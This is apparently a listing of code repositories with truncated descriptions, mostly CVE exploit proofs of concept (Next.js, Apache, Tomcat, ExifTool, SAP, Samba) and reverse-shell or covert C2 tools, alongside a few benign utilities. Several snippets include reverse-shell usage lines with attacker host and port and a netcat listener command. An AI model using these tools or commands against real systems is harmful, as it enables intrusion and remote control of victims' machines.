CVE-2025-55182-React2Shell-RCE-Shell

‼️ CVE-2025-55182 Pwn React2Shell RCE Exploit with Interactive Shell Prompt & Mass Exploitation This repository provides a working proof-of-concept for CVE-2025-55182, an RCE affecting some deployments of Next.js. The tool opens an interactive shell prompt on exploitation, enabling security...

CVE-2024-3400

CVE-2024-3400: OS Command Injection Vulnerability Description: CVE-2024-3400 is a security vulnerability affecting applications or services that accept user input and execute operating system commands based on that input without adequate validation. This vulnerability allows attackers to inject...

CVE-2019-0232

CVE-2019-0232 Description This is a tool that automates the exploitation workflow for CVE‑2019‑0232 by providing both command execution mode and reverse‑shell mode. It supports automatic URL encoding for commands, spins up a temporary HTTP server to host nc.exe, uploads it to the vulnerable Apach...

CVE-2021-42013_Reverse-Shell

CVE-2021-42013Reverse-Shell PoC CVE-2021-42013 reverse shell Apache 2.4.50 with CGI Usage : chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:port/ LHOST LPORT More info: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:8083 10.0.000.000 9999 nc -lvnp 9999...

bash-4.2-fixed-CVE-2014-6271

Introduction This is GNU Bash, version 4.2. Bash is the GNU Project's Bourne Again SHell, a complete implementation of the POSIX shell spec, but also with interactive command line editing, job control on architectures that support it, csh-like features such as history substitution and brace...

CVE-2020-9484

CVE-2020-9484 Click the image to watch the video Usage Make it execuateble chmod +x CVE-2020-9484 ./CVE-2020-9484 http://10.10.10.10./8080/ 10.10.1.1 4444...

CVE-2022-0847

CVE-2022-0847 Simple reproduction of CVE-2022-0847 Original disclosure article: https://dirtypipe.cm4all.com/ Reproduction Environment Linux kali 5.10.0-kali7-amd64 1 SMP Debian 5.10.28-1kali1 2021-04-12 x8664 GNU/Linux Dependencies gcc Usage Steps git clone...

envocabulary

envocabulary For every variable in your current shell, find the file and line that set it, or which subsystem direnv, launchd, terminal, SSH, system injected it. Plus a few static-file commands for the moment your shell config has sprawled across N files and backups and you've lost the plot. I...

CVE-2019-18935-memShell

CVE-2019-18935-memShell source CVE-2019-18935-Memshell Compile 1.Build https://github.com/A-D-Team/SharpMemshell/blob/main/VirtualPath/memshell.cs 2.Convert dll to byte array 3.Replace rawData in memShell.cpp 4.csc /target:module empty.cs 5.cl /c memShell.cpp 6.link /DLL /LTCG /CLRIMAGETYPE:IJW...

CVE-2025-31324

CVE-2025-31324 CVE-2025-31324, SAP Exploit POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1 HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: python-requests/2.32.3 Accept-Encoding: gzip, deflate, zstd Accept: / Connection: keep-alive Content-Length: 636 Content-Type:...

CVE-2021-22204

CVE-2021-22204 Exploit for CVE-2021-22204 ExifTool - Arbitrary Code Execution Exploit Description Use this exploit to generate a JPEG image payload that can be used with a vulnerable ExifTool version for code execution. A custom command can be provided or a reverse shell can be generated. A JPEG...

CVE-2024-32651-changedetection-RCE

CVE-2024-32651 changedetection 0.45.20 - Remote Code Execution RCE Server-Side Template Injection Exploit!! 1. Title Remote Code Execution via Server-Side Template Injection SSTI in Vulnerable Web Application 2. Description This exploit targets a web application vulnerable to Server-Side Template...

ntfstool

ntfstool NTFSTool is a forensic tool focused on NTFS volumes. It supports reading partition info MBR, partition table, VBR but also information on Master File Table, Bitlocker encrypted volume, EFS encrypted files, USN journal and more. Download the latest binaries on AppVeyor or by checking the...

Girsh

Girsh Golang Interactive Reverse SHell Who didn't get bored of manually typing the few lines to upgrade a reverse shell to a full interactive reverse shell tty spawn, stty size ..., stty raw -echo or typing the command to use ConPTY. Description With Girsh, just run it and it will detect the OS a...

CVE-2020-29669

=============== Macally WIFISD2-2A82 Writeup for CVE-2020-29669 by Maximilian Barz Silky and Daniel Schwendner code-byter ========================== This is a writeup of exploiting the Macally WIFISD2-2A82 Travel Router Firmware version: 2.000.010. The Guest user is able to reset its own password...

CVE-2026-4480-PoC

CVE-2026-4480-PoC CVE-2026-4480 – Samba Print Job Name Command Injection Overview CVE-2026-4480 is a command injection vulnerability affecting certain Samba printing configurations that use external print commands. The vulnerability exists because Samba inserts user-controlled print job metadata...

GTRS

GTRS - Google Translator Reverse Shell This tools uses Google Translator as a proxy to send arbitrary commands to an infected machine. INFECTED MACHINE ==HTTPS== GOOGLE TRANSLATE ==HTTP== C2 Environment Configuration First you need a VPS and a domain, for the domain you can get a free one on...

CVE-2025-14700-poc

CVE-2025-14700 POC Automatic exploit for Authenticated RCE in Crafty Controller --login --password --lhost --lport This script uses netcat to setup a listener after triggering the reverse shell payload, it won't work if you don't have netcat on your listener machine...

s2-062

s2-062 Remote Code Execution S2-062 CVE-2021-31805 Verification POC Verification method vulfocus range issue The poc inside validates against the s2-061 range, with the parameter id; the new range uses the parameter name The main reason for identifying it as id is that I can't think of any good...

CVE-2016-3714

CVE-2016-3714 ImageMagick Code Execution CVE-2016-3714 imagickbuilder.py = Simple Payload Builder to Exploit CVE-2016-3714 imagickbypassshell.php = PHP based web shell leveraging the PHP imagick extension wrapper to bypass disabled functions Few Images of things working: Payload Builder: imagick...